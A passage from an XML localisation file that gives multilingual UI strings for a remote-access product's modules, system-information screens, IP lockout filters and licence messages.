<zh>文件管理器</zh>
<ko>파일 관리자</ko>
<en-gb>File Manager</en-gb>
<hu>Fájlkezelő</hu>
<pt-br>Gerenciador de arquivos</pt-br>
<nl>Bestandsbeheer</nl>
</msg>
<msg name="telnet">
<en>Telnet</en>
<de>Telnet</de>
<es>Telnet</es>
<fr>Telnet</fr>
<it>Telnet</it>
<ru>Telnet</ru>
<ja>Telnet</ja>
<zh>Telnet</zh>
<ko>텔넷</ko>
<en-gb>Telnet</en-gb>
<hu>Telnet</hu>
<pt-br>Telnet</pt-br>
<nl>Telnet</nl>
</msg>
<msg name="ssh">
<en>Secure Shell</en>
<de>Secure Shell</de>
<es>Secure Shell</es>
<fr>Secure Shell (SSH)</fr>
<it>Secure Shell</it>
<ru>Secure Shell</ru>
<ja>SSH (Secure Shell)</ja>
<zh>安全 Shell</zh>
<ko>Secure Shell</ko>
<en-gb>Secure Shell</en-gb>
<hu>Biztonságos héjprogram</hu>
<pt-br>Shell seguro</pt-br>
<nl>Secure Shell-protocol</nl>
</msg>
<msg name="ftp">
<en>FTP Client</en>
<de>FTP Client</de>
<es>Cliente FTP</es>
<fr>Client FTP</fr>
<it>Client FTP</it>
<ru>FTP-клиент</ru>
<ja>FTP クライアント</ja>
<zh>FTP 客户端</zh>
<ko>FTP 클라이언트</ko>
<en-gb>FTP Client</en-gb>
<hu>FTP kliensprogram</hu>
<pt-br>Cliente FTP</pt-br>
<nl>FTP-client</nl>
</msg>
<msg name="portfwd">
<en>Port Forwaring</en>
<de>Port Forwarding</de>
<es>Reenvío de puerto</es>
<fr>Port Forwarding</fr>
<it>Inoltro delle porte</it>
<ru>Перенаправление портов</ru>
<ja>ポート転送</ja>
<zh>端口转发</zh>
<ko>포트 전달</ko>
<en-gb>Port Forwaring</en-gb>
<hu>Port-átirányítás</hu>
<pt-br>Encaminhamento de porta</pt-br>
<nl>Poorttoewijzing</nl>
</msg>
<msg name="perfvwr">
<en>Performance Viewer</en>
<de>Leistungsanzeige</de>
<es>Visor de rendimiento</es>
<fr>Moniteur de performance</fr>
<it>Visualizzatore prestazioni</it>
<ru>Средство просмотра данных о производительности</ru>
<ja>パフォーマンス ビューア</ja>
<zh>性能查看器</zh>
<ko>성능 뷰어</ko>
<en-gb>Performance Viewer</en-gb>
<hu>Teljesítmény-megjelenítő</hu>
<pt-br>Visualizador de desempenho</pt-br>
<nl>Viewerapplet voor prestaties</nl>
</msg>
<msg name="watchdog">
<en>Session Monitor</en>
<de>Session Monitor</de>
<es>Monitor de sesión</es>
<fr>Moniteur de session</fr>
<it>Monitor sessione</it>
<ru>Программа наблюдения за сеансами</ru>
<ja>セッション モニタ</ja>
<zh>会话监视器</zh>
<ko>세션 모니터</ko>
<en-gb>Session Monitor</en-gb>
<hu>Munkamenet-figyelő</hu>
<pt-br>Monitor de sessão</pt-br>
<nl>Sessiecontrole</nl>
</msg>
<msg name="chat">
<en>Chat</en>
<de>Dialog</de>
<es>Conversación</es>
<fr>Assistance par chat</fr>
<it>Chat</it>
<ru>Чат</ru>
<ja>チャット</ja>
<zh>聊天</zh>
<ko>대화</ko>
<en-gb>Chat</en-gb>
<hu>Csevegés</hu>
<pt-br>Bate-papo</pt-br>
<nl>Chat</nl>
</msg>
<msg name="websvc">
<en>Web Gateway</en>
<de>Web Gateway</de>
<es>Gateway de web</es>
<fr>Passerelle Web</fr>
<it>Gateway Web</it>
<ru>Веб-шлюз</ru>
<ja>Web ゲートウェイ</ja>
<zh>Web 网关</zh>
<ko>웹 게이트웨이</ko>
<en-gb>Web Gateway</en-gb>
<hu>Webátjáró</hu>
<pt-br>Gateway da web</pt-br>
<nl>Webgateway</nl>
</msg>
<msg name="gui">
<en>%PRODUCTNAME Systray Icon</en>
<de>%PRODUCTNAME Desktop Icon</de>
<es>Icono de la bandeja de sistema de %PRODUCTNAME</es>
<fr>Icône %PRODUCTNAME sur le bureau</fr>
<it>Icona Systray di %PRODUCTNAME</it>
<ru>Значок %PRODUCTNAME на панели задач</ru>
<ja>%PRODUCTNAME システム トレイ アイコン</ja>
<zh>%PRODUCTNAME 任务栏图标</zh>
<ko>%PRODUCTNAME Systray 아이콘</ko>
<en-gb>%PRODUCTNAME Systray Icon</en-gb>
<hu>%PRODUCTNAME ikon a tálcán</hu>
<pt-br>Ícone da bandeja do sistema do %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME-pictogram in Systeemvak</nl>
</msg>
</cat>
</cat>
<!-- "hadrware information" messages -->
<cat name="HARDWARE">
<msg name="TITLE">
<en>System Information</en>
<de>Systeminformationen</de>
<es>Información del sistema</es>
<fr>Informations sur le système</fr>
<it>Informazioni sul sistema</it>
<ru>Системная информация</ru>
<ja>システム情報</ja>
<zh>系统信息</zh>
<ko>시스템 정보</ko>
<en-gb>System Information</en-gb>
<hu>Rendszer-információk</hu>
<pt-br>Informações do sistema</pt-br>
<nl>Systeemgegevens</nl>
</msg>
<msg name="CPU">
<en>CPU</en>
<de>CPU</de>
<es>CPU</es>
<fr>CPU</fr>
<it>CPU</it>
<ru>Процессор</ru>
<ja>CPU</ja>
<zh>CPU</zh>
<ko>CPU</ko>
<en-gb>CPU</en-gb>
<hu>Processzor</hu>
<pt-br>CPU</pt-br>
<nl>CPU</nl>
</msg>
<msg name="CPUINFO">
<en>%CPU.NAME at %CPU.CLOCK MHz</en>
<de>%CPU.NAME mit %CPU.CLOCK MHz</de>
<es>%CPU.NAME en %CPU.CLOCK MHz</es>
<fr>%CPU.NAME à %CPU.CLOCK MHz</fr>
<it>%CPU.NAME a %CPU.CLOCK MHz</it>
<ru>%CPU.NAME с частотой %CPU.CLOCK МГц</ru>
<ja>%CPU.CLOCK MHz での %CPU.NAME</ja>
<zh>%CPU.NAME 频率 %CPU.CLOCK MHz</zh>
<ko>%CPU.CLOCK MHz 속도의 %CPU.NAME</ko>
<en-gb>%CPU.NAME at %CPU.CLOCK MHz</en-gb>
<hu>%CPU.NAME, %CPU.CLOCK MHz</hu>
<pt-br>%CPU.NAME em %CPU.CLOCK MHz</pt-br>
<nl>%CPU.NAME van %CPU.CLOCK MHz</nl>
</msg>
<msg name="USER">
<en>Interactive User</en>
<de>Interaktiver Benutzer</de>
<es>Usuario interactivo</es>
<fr>Utilisateur interactif</fr>
<it>Utente interattivo</it>
<ru>Интерактивный пользователь</ru>
<ja>インタラクティブ ユーザ</ja>
<zh>交互式用户</zh>
<ko>대화형 사용자</ko>
<en-gb>Interactive User</en-gb>
<hu>Interaktív felhasználó</hu>
<pt-br>Usuário interativo</pt-br>
<nl>Interactieve gebruiker</nl>
</msg>
<msg name="USERTS">
<en>Terminal Users</en>
<de>Terminal-Benutzer</de>
<es>Usuarios del terminal</es>
<fr>Utilisateur Terminal</fr>
<it>Utenti terminali</it>
<ru>Пользователи терминалов</ru>
<ja>ターミナル ユーザ</ja>
<zh>终端用户</zh>
<ko>터미널 사용자</ko>
<en-gb>Terminal Users</en-gb>
<hu>Végfelhasználók</hu>
<pt-br>Usuários terminais</pt-br>
<nl>Terminalgebruikers</nl>
</msg>
<msg name="BIOS">
<en>System Bios</en>
<de>System Bios</de>
<es>Bios del sistema</es>
<fr>Système BIOS</fr>
<it>Bios di sistema</it>
<ru>Системный BIOS</ru>
<ja>システム BIOS</ja>
<zh>系统 BIOS</zh>
<ko>시스템 BIOS</ko>
<en-gb>System Bios</en-gb>
<hu>Rendszer BIOS</hu>
<pt-br>Bios do sistema</pt-br>
<nl>Systeem-BIOS</nl>
</msg>
<msg name="CPUUTIL">
<en>Current CPU Utilization</en>
<de>Aktuelle CPU Auslastung</de>
<es>Uso actual de la CPU</es>
<fr>Utilisation actuelle du CPU</fr>
<it>Utilizzo CPU corrente</it>
<ru>Текущее использование процессора</ru>
<ja>現在の CPU 使用量</ja>
<zh>当前 CPU 利用率</zh>
<ko>현재 CPU 사용률</ko>
<en-gb>Current CPU Utilization</en-gb>
<hu>Jelenlegi processzor-kihasználtság</hu>
<pt-br>Utilização atual da CPU</pt-br>
<nl>Huidig CPU-gebruik</nl>
</msg>
<msg name="SCREEN">
<en>Screen</en>
<de>Bildschirm</de>
<es>Pantalla</es>
<fr>Ecran</fr>
<it>Schermo</it>
<ru>Экран</ru>
<ja>画面</ja>
<zh>屏幕</zh>
<ko>화면</ko>
<en-gb>Screen</en-gb>
<hu>Képernyő</hu>
<pt-br>Tela</pt-br>
<nl>Beeldscherm</nl>
</msg>
<msg name="PERFORMANCE">
<en>Performance</en>
<de>Leistung</de>
<es>Rendimiento</es>
<fr>Performance</fr>
<it>Prestazioni</it>
<ru>Производительность</ru>
<ja>パフォーマンス</ja>
<zh>性能</zh>
<ko>성능</ko>
<en-gb>Performance</en-gb>
<hu>Teljesítmény</hu>
<pt-br>Desempenho</pt-br>
<nl>Prestaties</nl>
</msg>
<msg name="SIZE">
<en>Total</en>
<de>Total</de>
<es>Total</es>
<fr>Total</fr>
<it>Totale</it>
<ru>Всего</ru>
<ja>合計</ja>
<zh>总计</zh>
<ko>총</ko>
<en-gb>Total</en-gb>
<hu>Összes</hu>
<pt-br>Total</pt-br>
<nl>Totaal</nl>
</msg>
<msg name="USED">
<en>Used</en>
<de>Verwendet</de>
<es>Utilizado</es>
<fr>Utilisé</fr>
<it>Utilizzato</it>
<ru>Использовано</ru>
<ja>使用領域</ja>
<zh>已使用</zh>
<ko>사용됨</ko>
<en-gb>Used</en-gb>
<hu>Használatban</hu>
<pt-br>Usado</pt-br>
<nl>Gebruikt</nl>
</msg>
<msg name="FREE">
<en>Free</en>
<de>Frei</de>
<es>Libre</es>
<fr>Libre</fr>
<it>Libero</it>
<ru>Свободно</ru>
<ja>空き領域</ja>
<zh>空闲</zh>
<ko>사용 가능</ko>
<en-gb>Free</en-gb>
<hu>Szabad</hu>
<pt-br>Livre</pt-br>
<nl>Beschikbaar</nl>
</msg>
<msg name="USEDP">
<en>Usage</en>
<de>In Benutzung</de>
<es>Uso</es>
<fr>Emploi</fr>
<it>Uso</it>
<ru>Использование</ru>
<ja>使用率</ja>
<zh>使用率</zh>
<ko>사용</ko>
<en-gb>Usage</en-gb>
<hu>Kihasználtság</hu>
<pt-br>Utilização</pt-br>
<nl>Gebruik</nl>
</msg>
<msg name="PHYSICAL">
<en>Physical memory</en>
<de>Physischer Speicher</de>
<es>Memoria física</es>
<fr>Mémoire physique</fr>
<it>Memoria fisica</it>
<ru>Физическая память</ru>
<ja>物理メモリ</ja>
<zh>物理内存</zh>
<ko>실제 메모리</ko>
<en-gb>Physical memory</en-gb>
<hu>Fizikai memória</hu>
<pt-br>Memória física</pt-br>
<nl>Fysiek geheugen</nl>
</msg>
<msg name="COMMIT">
<en>Commit memory</en>
<de>Zugesicherter Speicher</de>
<es>Uso de la memoria</es>
<fr>Mémoire engagée</fr>
<it>Memoria allocata</it>
<ru>Выделенная память</ru>
<ja>コミット メモリ</ja>
<zh>可供内存</zh>
<ko>실행 메모리</ko>
<en-gb>Commit memory</en-gb>
<hu>Előjegyzett memória</hu>
<pt-br>Memória comprometida</pt-br>
<nl>Toegewezen geheugen</nl>
</msg>
</cat>
<!-- "operating system information" messages -->
<cat name="OS">
<msg name="TITLE">
<en>Operating System</en>
<de>Betriebssystem</de>
<es>Sistema Operativo</es>
<fr>Système d'exploitation</fr>
<it>Sistema operativo</it>
<ru>Операционная система</ru>
<ja>オペレーティング システム</ja>
<zh>操作系统</zh>
<ko>운영 체제</ko>
<en-gb>Operating System</en-gb>
<hu>Operációs rendszer</hu>
<pt-br>Sistema operacional</pt-br>
<nl>Besturingssysteem</nl>
</msg>
<msg name="BUILD">
<en>build</en>
<de>build</de>
<es>montaje</es>
<fr>conduit</fr>
<it>build</it>
<ru>сборка</ru>
<ja>ビルド</ja>
<zh>内部版本号</zh>
<ko>빌드</ko>
<en-gb>build</en-gb>
<hu>build</hu>
<pt-br>criar</pt-br>
<nl>build</nl>
</msg>
<msg name="INSTALLED">
<en>Installed at</en>
<de>Installiert am</de>
<es>Instalado en</es>
<fr>Installé le</fr>
<it>Installato il giorno</it>
<ru>Установлен в</ru>
<ja>インストール先</ja>
<zh>安装位置</zh>
<ko>설치 위치</ko>
<en-gb>Installed at</en-gb>
<hu>Telepítés ideje</hu>
<pt-br>Instalado em</pt-br>
<nl>Geïnstalleerd om</nl>
</msg>
<msg name="BOOTED">
<en>Booted at</en>
<de>Gestartet am</de>
<es>Arrancado en</es>
<fr>Démarré à</fr>
<it>Avviato il giorno</it>
<ru>Загружен в</ru>
<ja>ブート先</ja>
<zh>引导位置</zh>
<ko>부팅 위치</ko>
<en-gb>Booted at</en-gb>
<hu>Betöltés ideje</hu>
<pt-br>Inicializado em</pt-br>
<nl>Opgestart om</nl>
</msg>
<msg name="HOTFIXES">
<en>Installed Hotfixes</en>
<de>Installierte Hotfixes</de>
<es>Hotfixes instalados</es>
<fr>Rustines (hotfixes) installés</fr>
<it>Correzioni installate</it>
<ru>Установленные исправления</ru>
<ja>インストール済みの ホットフィックス</ja>
<zh>已安装的修补程序</zh>
<ko>설치된 Hotfix</ko>
<en-gb>Installed Hotfixes</en-gb>
<hu>Telepített gyorsjavítások</hu>
<pt-br>Hotfixes instalados</pt-br>
<nl>Geïnstalleerde hotfixes</nl>
</msg>
<msg name="HF.INSTALLEDBY">
<en>Installed by</en>
<de>Installiert von</de>
<es>Instalado por</es>
<fr>Installé par</fr>
<it>Installato da</it>
<ru>Установлен</ru>
<ja>インストールの実行者</ja>
<zh>安装者</zh>
<ko>설치자</ko>
<en-gb>Installed by</en-gb>
<hu>Telepítette:</hu>
<pt-br>Instalado por</pt-br>
<nl>Geïnstalleerd door</nl>
</msg>
<msg name="HF.INSTALLDATE">
<en>Install date</en>
<de>Installationsdatum</de>
<es>Fecha de instalación</es>
<fr>Date d'installation</fr>
<it>Data di installazione</it>
<ru>Дата установки</ru>
<ja>インストール日</ja>
<zh>安装日期</zh>
<ko>설치 날짜</ko>
<en-gb>Install date</en-gb>
<hu>Telepítés dátuma:</hu>
<pt-br>Data de instalação</pt-br>
<nl>Installatiedatum</nl>
</msg>
</cat>
<cat name="LOCKOUT">
<msg name="TITLE">
<en>IP lockout</en>
<de>IP Sperre</de>
<es>Bloqueo de la IP</es>
<fr>IP bloquée</fr>
<it>Blocco IP</it>
<ru>Блокировка IP</ru>
<ja>IP のロックアウト</ja>
<zh>IP 锁定</zh>
<ko>IP 잠금</ko>
<en-gb>IP lockout</en-gb>
<hu>IP zárolás</hu>
<pt-br>Bloqueio de IP</pt-br>
<nl>Blokkeren van IP-adressen</nl>
</msg>
<msg name="IP">
<en>IP address</en>
<de>IP-Adresse</de>
<es>Dirección IP</es>
<fr>Adresse IP</fr>
<it>Indirizzo IP</it>
<ru>IP-адрес</ru>
<ja>IP アドレス</ja>
<zh>IP 地址</zh>
<ko>IP 주소</ko>
<en-gb>IP address</en-gb>
<hu>IP cím</hu>
<pt-br>Endereço IP</pt-br>
<nl>IP-adres</nl>
</msg>
<msg name="EXPIRE">
<en>Expires in</en>
<de>Verfällt nach</de>
<es>Caduca en</es>
<fr>Expiration :</fr>
<it>Scade tra</it>
<ru>Истекает через</ru>
<ja>有効期限</ja>
<zh>截止时间</zh>
<ko>사용 기간</ko>
<en-gb>Expires in</en-gb>
<hu>Lejárat:</hu>
<pt-br>Vence em</pt-br>
<nl>Zal verstrijken na</nl>
</msg>
<msg name="SHOWDETAILS">
<en>Show details</en>
<de>Details einblenden</de>
<es>Mostrar detalles</es>
<fr>Afficher les détails</fr>
<it>Mostra dettagli</it>
<ru>Показать детали</ru>
<ja>詳細を表示する</ja>
<ko>세부사항 표시</ko>
<hu>Részletek megjelenítése</hu>
<pt-br>Mostrar detalhes</pt-br>
<zh>显示详细信息</zh>
<nl>Details weergeven</nl>
</msg>
<msg name="LOCKEDOUT">
<en>IP addresses locked out</en>
<de>Gesperrte IP-Adressen</de>
<es>Bloqueo de direcciones IP</es>
<fr>Adresses IP bloquée</fr>
<it>Indirizzo IP bloccato</it>
<ru>IP-адреса заблокированы</ru>
<ja>ロックアウトされた IP アドレス</ja>
<zh>IP 地址已锁定</zh>
<ko>IP 주소 잠김</ko>
<en-gb>IP addresses locked out</en-gb>
<hu>Zárolt IP címek</hu>
<pt-br>Endereço IP bloqueado</pt-br>
<nl>Geblokkeerde IP-adressen</nl>
</msg>
<msg name="DOS">
<en>Denial of Service filter</en>
<de>DoS-Filter (Denial of Service)</de>
<es>Denegación de filtro de servicio</es>
<fr>Filtre DoS (Denial of Service)</fr>
<it>Filtro Denial of Service</it>
<ru>Фильтр атак типа "отказ в обслуживании"</ru>
<ja>DoS (Denial of Service) フィルタ</ja>
<zh>拒绝服务过滤器</zh>
<ko>서비스 거부 필터</ko>
<en-gb>Denial of Service filter</en-gb>
<hu>Szolgáltatás megtagadása (DoS) szűrő</hu>
<pt-br>Negação do filtro do Serviço</pt-br>
<nl>Filter voor DoS-aanvallen (Denial-of-Service)</nl>
</msg>
<msg name="LOGON">
<en>Authentication attack filter</en>
<de>Filter für ungültige Anmeldeversuche</de>
<es>Filtro de ataque de la autenticación</es>
<fr>Filtre d'authentification anti-attaque</fr>
<it>Filtro attacchi di autenticazione</it>
<ru>Фильтр атак на проверку подлинности</ru>
<ja>認証攻撃フィルタ</ja>
<zh>验证攻击过滤器</zh>
<ko>인증 공격 필터</ko>
<en-gb>Authentication attack filter</en-gb>
<hu>Hitelesítési támadás szűrő</hu>
<pt-br>Filtro de ataque de autenticação</pt-br>
<nl>Filter voor verificatieaanvallen</nl>
</msg>
<msg name="NONE">
<en>Currently no IP addresses are locked out.</en>
<de>Derzeit sind keine IP-Adressen gesperrt.</de>
<es>Actualmente, no hay ninguna dirección IP bloqueada.</es>
<fr>Il n'y a actuellement pas d'adresse IP bloquée</fr>
<it>Nessun indirizzo IP attualmente bloccato.</it>
<ru>В настоящее время нет заблокированных IP-адресов</ru>
<ja>現在ロックアウトされている IP アドレスはありません。</ja>
<zh>当前未锁定任何 IP 地址。</zh>
<ko>현재 잠겨 있는 IP 주소가 없습니다.</ko>
<en-gb>No IP addresses are currently locked out.</en-gb>
<hu>Jelenleg nincsenek zárolt IP címek.</hu>
<pt-br>Não há endereços IP bloqueados no momento.</pt-br>
<nl>Op dit ogenblik zijn geen IP-adressen geblokkeerd.</nl>
</msg>
</cat>
<!-- "license" screen messages -->
<cat name="LICENSE">
<msg name="TITLE">
<en>License</en>
<de>Lizenz</de>
<es>Licencia</es>
<fr>Licence</fr>
<it>Licenza</it>
<ru>Лицензия</ru>
<ja>ライセンス</ja>
<zh>许可证</zh>
<ko>라이센스</ko>
<en-gb>Licence</en-gb>
<hu>Licensz</hu>
<pt-br>Licença</pt-br>
<nl>Licentie</nl>
</msg>
<msg brand="LMI" name="TITLE">
<en>Subscription</en>
<es>Suscripción</es>
<de>Abo</de>
<fr>Abonnement</fr>
<it>Sottoscrizione</it>
<ru>Подписка</ru>
<ja>利用期間</ja>
<zh>订阅</zh>
<ko>가입</ko>
<hu>Előfizetés</hu>
<pt-br>Assinatura</pt-br>
<nl>Abonnement</nl>
<en-gb>Subscription</en-gb>
</msg>
<msg name="STATEMENT">
<en>%PRODUCTNAME Copyright %COPYRIGHTSHORT All rights reserved.</en>
<de>%PRODUCTNAME Copyright %COPYRIGHTSHORT Alle Rechte vorbehalten.</de>
<es>%PRODUCTNAME Copyright %COPYRIGHTSHORT Reservados todos los derechos.</es>
<fr>%PRODUCTNAME copyright %COPYRIGHTSHORT Tous droits réservés. Traduction française par http://www.sysco.ch .</fr>
<it>%PRODUCTNAME Copyright %COPYRIGHTSHORT Tutti i diritti riservati.</it>
<ru>(c) %PRODUCTNAME %COPYRIGHTSHORT Все права защищены.</ru>
<ja>%PRODUCTNAME Copyright %COPYRIGHTSHORT All rights reserved.</ja>
<zh>%PRODUCTNAME 版权所有 %COPYRIGHTSHORT 保留所有权利。</zh>
<ko>%PRODUCTNAME Copyright %COPYRIGHTSHORT All rights reserved.</ko>
<en-gb>%PRODUCTNAME Copyright %COPYRIGHTSHORT All rights reserved.</en-gb>
<hu>%PRODUCTNAME Szerzői jog %COPYRIGHTSHORT Minden jog fenntartva.</hu>
<pt-br>%PRODUCTNAME Copyright %COPYRIGHTSHORT Todos os direitos reservados.</pt-br>
<nl>%PRODUCTNAME Copyright %COPYRIGHTSHORT Alle rechten voorbehouden.</nl>
</msg>
<msg brand="LMI" name="STATEMENT">
<en>%PRODUCTNAME Copyright %COPYRIGHTSHORT Patented and patents pending.</en>
<es>%PRODUCTNAME Copyright %COPYRIGHTSHORT Reservados todos los derechos.</es>
<fr>%PRODUCTNAME copyright %COPYRIGHTSHORT Tous droits réservés. Traduction française par http://www.sysco.ch .</fr>
<it>%PRODUCTNAME Copyright %COPYRIGHTSHORT Tutti i diritti riservati.</it>
<ru>(c) %PRODUCTNAME %COPYRIGHTSHORT Все права защищены.</ru>
<ja>%PRODUCTNAME Copyright %COPYRIGHTSHORT All rights reserved.</ja>
<zh>%PRODUCTNAME 版权所有 %COPYRIGHTSHORT 保留所有权利。</zh>
<ko>%PRODUCTNAME Copyright %COPYRIGHTSHORT All rights reserved.</ko>
<en-gb>%PRODUCTNAME Copyright %COPYRIGHTSHORT All rights reserved.</en-gb>
<hu>%PRODUCTNAME Szerzői jog %COPYRIGHTSHORT Minden jog fenntartva.</hu>
<pt-br>%PRODUCTNAME Copyright %COPYRIGHTSHORT Todos os direitos reservados.</pt-br>
<nl>%PRODUCTNAME Copyright %COPYRIGHTSHORT Alle rechten voorbehouden.</nl>
</msg>
<msg name="TO">
<en>This copy of %PRODUCTNAME is licensed to</en>
<de>Diese Kopie von %PRODUCTNAME ist lizenziert für</de>
<es>Esta copia de %PRODUCTNAME tiene licencia para</es>
<fr>Cette copie de %PRODUCTNAME est attribuée à</fr>
<it>Questa copia di %PRODUCTNAME è concessa in licenza a</it>
<ru>Лицензия на данную копью %PRODUCTNAME выдана</ru>
<ja>%PRODUCTNAME のこのコピーは以下にライセンス付与されています。</ja>
<zh>将此 %PRODUCTNAME 副本授予</zh>
<ko>이 %PRODUCTNAME 라이센스가 다음 사용자에게 부여됨</ko>
<en-gb>This copy of %PRODUCTNAME is licensed to</en-gb>
<hu>A %PRODUCTNAME jelen példányának jogos használója:</hu>
<pt-br>Esta cópia do %PRODUCTNAME está licenciada para</pt-br>
<nl>Voor dit exemplaar van %PRODUCTNAME is een gebruiksrecht verleend aan</nl>
</msg>
<msg name="TRIAL">
<en>This is an evaluation license that expires on %LICENSE.EXPIRES_dtl (%LICENSE.EXPIRES_in).</en>
<de>Diese Evaluierungslizenz verfällt am %LICENSE.EXPIRES_dtl (%LICENSE.EXPIRES_in).</de>
<es>Ésta es una licencia de prueba que caduca el %LICENSE.EXPIRES_dtl (%LICENSE.EXPIRES_in).</es>
<fr>Cette licence d'essai a expirée le %LICENSE.EXPIRES_dtl (%LICENSE.EXPIRES_in).</fr>
<it>Questa è una licenza di valutazione che scade tra %LICENSE.EXPIRES_dtl (%LICENSE.EXPIRES_in).</it>
<ru>Это оценочная лицензия, срок действия которой истекает %LICENSE.EXPIRES_dtl (%LICENSE.EXPIRES_in).</ru>
<ja>これは、%LICENSE.EXPIRES_dtl (%LICENSE.EXPIRES_in) に有効期限が切れる評価ライセンスです。</ja>
<zh>此许可证为试用版许可证,有效期截至 %LICENSE.EXPIRES_dtl (%LICENSE.EXPIRES_in)。</zh>
<ko>이것은 %LICENSE.EXPIRES_dtl(%LICENSE.EXPIRES_in)일에 만료되는 평가판입니다.</ko>
<en-gb>This is an evaluation licence that expires on %LICENSE.EXPIRES_dtl (%LICENSE.EXPIRES_in).</en-gb>
<hu>Ez egy bemutató licensz, amely %LICENSE.EXPIRES_dtl (%LICENSE.EXPIRES_in) dátummal jár le.</hu>
<pt-br>Esta é uma licença de avaliação que vence em %LICENSE.EXPIRES_dtl (%LICENSE.EXPIRES_in).</pt-br>
<nl>Dit is een evaluatielicentie die verstrijkt op %LICENSE.EXPIRES_dtl (%LICENSE.EXPIRES_in).</nl>
</msg>
<msg name="NODELOCKED">
<en>This is a node-locked license that is valid for %LICENSE.COUNT computers.</en>
<de>Diese Lizenz ist für %LICENSE.COUNT Computer gültig.</de>
<es>Ésta es una licencia fija que es válida para %LICENSE.COUNT ordenadores.</es>
<fr>Cette licence est valable pour %LICENSE.COUNT machines</fr>
<it>Questa è una licenza con blocco del nodo, valida per %LICENSE.COUNT computer.</it>
<ru>Это фиксированная лицензия, действительная для %LICENSE.COUNT компьютеров.</ru>
<ja>これは、%LICENSE.COUNT コンピュータに有効なノードロック ライセンスです。</ja>
<zh>此许可证为节点锁定许可证,对 %LICENSE.COUNT 计算机有效。</zh>
<ko>이것은 %LICENSE.COUNT 컴퓨터에서만 유효한 노드 잠금 라이센스입니다.</ko>
<en-gb>This is a node-locked licence that is valid for %LICENSE.COUNT computers.</en-gb>
<hu>Ez egy csomóponthoz kötött licensz, amely %LICENSE.COUNT számítógépre érvényes.</hu>
<pt-br>Essa é uma licença bloqueada para nó válida para computadores %LICENSE.COUNT.</pt-br>
<nl>Dit is een licentie die gekoppeld is aan slechts één node en die geldig is voor %LICENSE.COUNT computers.</nl>
</msg>
<msg name="COUNTED">
<en>This license is valid for %LICENSE.COUNT computers and is
being used on %LICENSE.PEERS of them.</en>
<de>Die Lizenz ist gültig für %LICENSE.COUNT Computer und wird bereits auf
%LICENSE.PEERS verwendet.</de>
<es>Esta licencia es válida para %LICENSE.COUNT ordenadores y está
siendo utilizada en %LICENSE.PEERS de los mismos.</es>
<fr>Cette licence est valable pour %LICENSE.COUNT machines et est</fr>
<it>Questa licenza è valida per %LICENSE.COUNT computer e viene utilizzata su %LICENSE.PEERS di loro.</it>
<ru>Данная лицензия действительна для %LICENSE.COUNT компьютеров и используется на %LICENSE.PEERS из них.</ru>
<ja>このライセンスは、%LICENSE.COUNT 台のコンピュータについて有効で、%LICENSE.PEERS で使用されています。</ja>
<zh>此许可证对 %LICENSE.COUNT 计算机有效,正用于其中的 %LICENSE.PEERS。</zh>
<ko>이 라이센스는 %LICENSE.COUNT 컴퓨터에서 유효하고,
%LICENSE.PEERS에서 사용 중입니다.</ko>
<en-gb>This licence is valid for %LICENSE.COUNT computers and is being used on %LICENSE.PEERS of them.</en-gb>
<hu>Ez a licensz %LICENSE.COUNT számítógépre érvényes és jelenleg
ebből %LICENSE.PEERS gépen használják.</hu>
<pt-br>Esta licença é válida para computadores %LICENSE.COUNT e está
sendo usada em %LICENSE.PEERS deles.</pt-br>
<nl>Deze licentie is geldig voor %LICENSE.COUNT computers en wordt op dit ogenblik gebruikt op %LICENSE.PEERS van deze computers.</nl>
</msg>
<msg name="OVERUSE">
<en>You are using %PRODUCTNAME on %LICENSE.PEERS computers, but your license only
allows you %LICENSE.COUNT installations.</en>
<de>Sie nutzen %PRODUCTNAME auf %LICENSE.PEERS Computer, Ihre Lizenz erlaubt jedoch
nur %LICENSE.COUNT Installationen.</de>
<es>Está utilizando %PRODUCTNAME en %LICENSE.PEERS ordenadores, pero su licencia sólo
le permite %LICENSE.COUNT instalaciones.</es>
<fr>Vous utilisez %PRODUCTNAME sur  %LICENSE.PEERS machines, votre licence vous permet cependant de n'utiliser
que %LICENSE.COUNT machines.</fr>
<it>Utilizzo di %PRODUCTNAME su %LICENSE.PEERS computer. La licenza di cui si dispone consente solo %LICENSE.COUNT installazioni.</it>
<ru>%PRODUCTNAME используется на %LICENSE.PEERS компьютерах, но текущая лицензия позволяет иметь только %LICENSE.COUNT установок.</ru>
<ja>%PRODUCTNAME を %LICENSE.PEERS コンピュータで使用していますが、このライセンスでインストールが許可されているのは %LICENSE.COUNT 個のみです。</ja>
<zh>您正在 %LICENSE.PEERS 计算机上使用 %PRODUCTNAME,但是您的许可证仅允许进行 %LICENSE.COUNT 安装。</zh>
<ko>%LICENSE.PEERS 컴퓨터에서 %PRODUCTNAME을(를) 사용 중이지만 사용자의 라이센스로는 %LICENSE.COUNT만 설치할 수 있습니다.</ko>
<en-gb>You are using %PRODUCTNAME on %LICENSE.PEERS computers, but your licence only allows you %LICENSE.COUNT installations.</en-gb>
<hu>Ön a %PRODUCTNAME terméket %LICENSE.PEERS számítógépen használja, ám a licensze csak
%LICENSE.COUNT telepítésre ad engedélyt Önnek.</hu>
<pt-br>Você está usando%PRODUCTNAME em computadores %LICENSE.PEERS, mas sua licença só
é permitida para instalações %LICENSE.COUNT.</pt-br>
<nl>U gebruikt %PRODUCTNAME op %LICENSE.PEERS computers, maar met uw licentie mag u slechts %LICENSE.COUNT installaties uitvoeren.</nl>
</msg>
<msg name="OVERUSE.LIST">
<en>The following computers on the local network use the same license file:</en>
<de>Folgende Computer im Netzwerk verwenden die gleiche Lizenzdatei:</de>
<es>Los siguientes ordenadores de la red local utilizan el mismo archivo de licencia:</es>
<fr>Les ordinateurs suivants sur votre réseau local utilisent la même licence:</fr>
<it>I seguenti computer sulla rete locale utilizzano lo stesso file di licenza:</it>
<ru>Следующие компьютеры локальной сети используют одинаковый файл лицензии:</ru>
<ja>ローカル ネットワーク上の以下のコンピュータは同一のライセンス ファイルを使用します:</ja>
<zh>本地网络上的以下计算机使用同一许可证文件:</zh>
<ko>다음 컴퓨터는 로컬 네트워크에서 동일한 라이센스 파일을 사용합니다:</ko>
<en-gb>The following computers on the local network use the same licence file:</en-gb>
<hu>A helyi hálózat következő számítógépei ugyanazt a licenszfájlt használják:</hu>
<pt-br>Os computadores a seguir da rede local usam o mesmo arquivo de licença:</pt-br>
<nl>De volgende computers in het lokale netwerk gebruiken hetzelfde licentiebestand:</nl>
</msg>
<msg name="UNLOCKED">
<en>This license is valid for %LICENSE.COUNT computers.</en>
<de>Diese Lizenz ist gültig für %LICENSE.COUNT Computer.</de>
